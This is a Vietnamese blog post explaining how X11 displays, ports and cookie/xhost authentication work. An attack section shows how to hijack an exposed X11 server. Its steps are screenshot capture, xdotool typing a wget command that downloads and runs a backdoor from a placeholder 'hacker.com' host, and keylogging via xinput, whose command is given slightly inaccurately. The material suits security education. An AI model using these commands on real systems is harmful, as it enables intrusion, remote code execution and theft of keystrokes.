Playing with X11

X Windows system

X Window system (X), là một hệ thống hiển thị giao diện người dùng GUI trên *nix, tương đương với hệ thống hiển thị mặc định trên Windows là Desktop Window Manager. X cung cấp các tính năng cơ bản để xây dựng một giao diện GUI hoàn chỉnh, như hiển thị pixel lên màn hình, tạo, đóng mở các cửa sổ, thao tác với mouse và keyboard... Trên các hệ điều hành *nix, phổ biến nhất là các distro Linux, các desktop environment như GNOME, KDE, XFCE đều mặc định sử dụng X.

X được thiết kế theo mô hình client-server, và có 1 giao thức giao tiếp riêng. X11 là version thứ 11 của giao thức này. Và thông thường khi nhắc đến X Window System, ta sẽ hiểu là X11 cho gọn và ngược lại. Version 11 già hơn cả Linux, nó ra đời từ năm 1987 và được sử dụng cho đến tận bây giờ. X có thể chạy trên nhiều các hệ điều hành Unix-like, nhưng mình sẽ chỉ bàn về X trên các distro Linux. Mình cũng sẽ không nói về cách X11 tạo ra giao diện GUI, và chỉ tập trung vào các vấn đề liên quan đến security.

Kiến trúc

Mô hình client-server của X11 bao gồm X server và X client là các process, giao tiếp với nhau qua network. Các X client kết nối với X server, truyền các thông số để thay đổi hiển thị trên màn hình. Tất cả các chương trình có hiển thị đồ họa đều là X client, từ browser, game đến text editor, terminal...
X cung cấp thư viện libX11, đóng gói lại các giao tiếp với server qua các function, vì thế giao thức hoàn toàn trong suốt đối với client sử dụng libX11. Bình thường ta dùng QT hay GTK để xây dựng các chương trình đồ họa. Thực chất các thư viện này cũng sử dụng libX11, và X11 càng trở nên vô hình hơn đối với developer.

Client và server có thể chạy trên cùng một máy hay trên nhiều máy khác nhau. Thiết kế tuyệt vời này của X11 cho phép ta làm được nhiều hơn việc chỉ có thể gõ phím và hiển thị ra màn hình ở trước mặt. Ví dụ bạn muốn duyệt web bằng IP một server của mình, nhưng ngại setup VPN, hay proxy vì phức tạp? Chỉ cần remote vào server, setup địa chỉ màn hình cần hiển thị qua biến môi trường ${DISPLAY} (tất nhiên địa chỉ này phải là địa chỉ public), bật trình duyệt lên và nó sẽ xuất hiện trên màn hình ở địa chỉ kia. Tương tự bạn hoàn toàn có thể sử dụng X11 như một cách để remote vào server nếu muốn.

x11_protocol

DISPLAY

Để chạy một chương trình với màn hình hiển thị khác màn hình hiện tại, ta cần phải chỉnh biến môi trường ${DISPLAY}. Biến này có định dạng như sau:

<hostname>:<display_id>.<screen_id>

  • hostname: địa chỉ của display cần hiển thị
  • display_id: X server có thể bật nhiều display, mỗi display có thể coi như màn hình ảo, bao gồm nhiều màn hình con. Ví dụ một hệ thống có đăng nhập bằng đồ họa, X server cần tạo 1 display riêng cho mỗi session đăng nhập vào hệ thống
  • screen_id: một display có thể có nhiều màn hình vật lý, đây là số thứ tự của màn hình

Nếu hostname không tồn tại (:0.0), mặc định X client và X server giao tiếp qua Unix socket domain /tmp/.X11-unix/X<display_id>

Nếu hostname có tồn tại (192.168.1.100:0.0), X client kết nối với X server tại hostname, qua cổng TCP 6000 + <display_id>. Vì vấn đề bảo mật, mặc định các desktop environment đều disable cấu hình cho phép mở cổng của X11. Vì thế nếu bạn muốn sử dụng mấy tính năng mình nói ở trên thì phải cấu hình lại GNOME hay KDE.

Ví dụ
  • :0.0: màn hình mặc định trên session đầu tiên đăng nhập vào localhost
  • 192.168.1.100:0.0: màn hình mặc định trên session đầu tiên đăng nhập vào 192.168.1.100
  • client kết nối đến server qua file socket /tmp/.X11-unix/X0 để truy cập vào display :0.0, hay qua file socket /tmp/.X11-unix/X1 truy cập vào display :1.0
  • client kết nối server ở 192.168.1.100, qua cổng 6000 để truy cập vào display 192.168.1.100:0.0, hay qua cổng 6003 để truy cập vào display 192.168.1.100:3.0
  • Mở một tiến trình firefox trên local, nhưng hiển thị và điểu khiển được trên 192.168.1.100
    $ export DISPLAY=192.168.1.100:0.0
    $ firefox
    

Attack, Attack, Attack

Bạn không có lỗi khi sử dụng một tính năng đặc biệt của một phần mềm nào đó, nhưng bạn có lỗi khi sử dụng tính năng đó không đúng cách. Vì nó hoàn toàn có thể dẫn đến các nguy cơ mất an toàn. Như mình nói ở trên X11 cũng có thể được dùng như một cách để remote "có đồ họa" vào hệ thống, tương tự như teamviewer hay Remote Desktop, tuy nó có hơi khác 1 chút. Để remote, X11 sẽ mở port 6000 đến 60xx, tùy vào số lượng display, nhưng port phổ biến nhất vẫn là 6000.

Xác thực

X11 có các cách xác thực

  • qua cookie (mặc định)
  • qua host, IP
  • sử dụng cryptography
1. Xác thực qua cookie

Khi user tạo mới một display, X server sẽ tạo 1 cookie (đơn thuần là 1 string) ứng với display đó, và lưu lại vào file ~/.Xauthority trên server. Local client sẽ mặc định đọc file ~/.Xauthority, còn remote client sẽ phải gửi đúng string cookie này lên X server để xác thực.

2. Xác thực qua host, IP

X11 cung cấp 1 client là xhost, dùng để thay đổi luật xác thực qua host, tức là qua địa chỉ của các X client.

$ xhost 192.168.1.10     Client tại 192.168.1.10 được truy cập vào display  
$ xhost +                Cho phép tất cả client được truy cập vào display

Trong quá trình tìm kiếm mình thấy có khá nhiều server có thể là mục tiêu tấn công và có thể bị chiếm quyền kiểm soát ở mức cao nhất. Các server này đều disable việc xác thực bằng host, có thể do chủ server ngại copy file ~/.Xauthority hoặc ngại setup luật xác thực bằng host do truy cập qua nhiều IP.

Remote attack

Target: vulnerable-x11.example.com
Port: 6000

Setup biến ${DISPLAY}
$ export DISPLAY=vulnerable-x11.example.com:0
Xác định server có tắt xác thực qua host hay không
$ xinput
Chụp screenshot
$ xwd -root -screen -silent > screenshot.xwd
$ convert screenshot.xwd screenshot.jpg
Backdoor

Các hành động Di chuột, ấn chuột, gõ phím có thể được thực hiện qua X client xdotool. Chúng ta hoàn toàn có thể cài được backdoor bằng việc gõ phím lên terminal sử dụng xdotool. Nói chung tùy vào từng server sẽ có cách khai thác khác nhau, và rất khó để tự động hóa việc này được.

  • Mở terminal ( Tùy vào trạng thái screen hiện tại )
$ xdotool key Ctrl+Alt+t
  • Download, chạy backdoor và tắt terminal
$ xdotool type $'wget http://hacker.com/backdoor -O /tmp/backdoor; chmod +x /tmp/backdoor; /tmp/backdoor & disown; exit\n'
Keylogger

X11 cũng như các phần mềm khác rất tuân thủ triết lý của Unix, đó là tính đơn giản, module hóa, và dễ mở rộng. X11 chỉ làm đúng chức năng của nó, cung cấp cho client một giao diện để thao tác, điều khiển màn hình hiển thị. Nó không có nhiệm vụ phân vai trò cho các client, quy định những tính năng mà client có thể làm được hoặc không làm được. Nếu phải làm vậy thì codebase sẽ trở nên phức tạp, khó mở rộng và ảnh hưởng đến hiệu năng

Các client đã được xác thực là hoàn toàn bình đẳng với nhau. Việc chặn bắt key, click chuột từ các local client khác hoàn toàn có thể thực hiện được.

  • Tìm device ID của keyboard để capture:
$ xinput list
  • Capture việc ấn phím và click chuột của user:
$ xinput <device_id>

Final words

Happy playing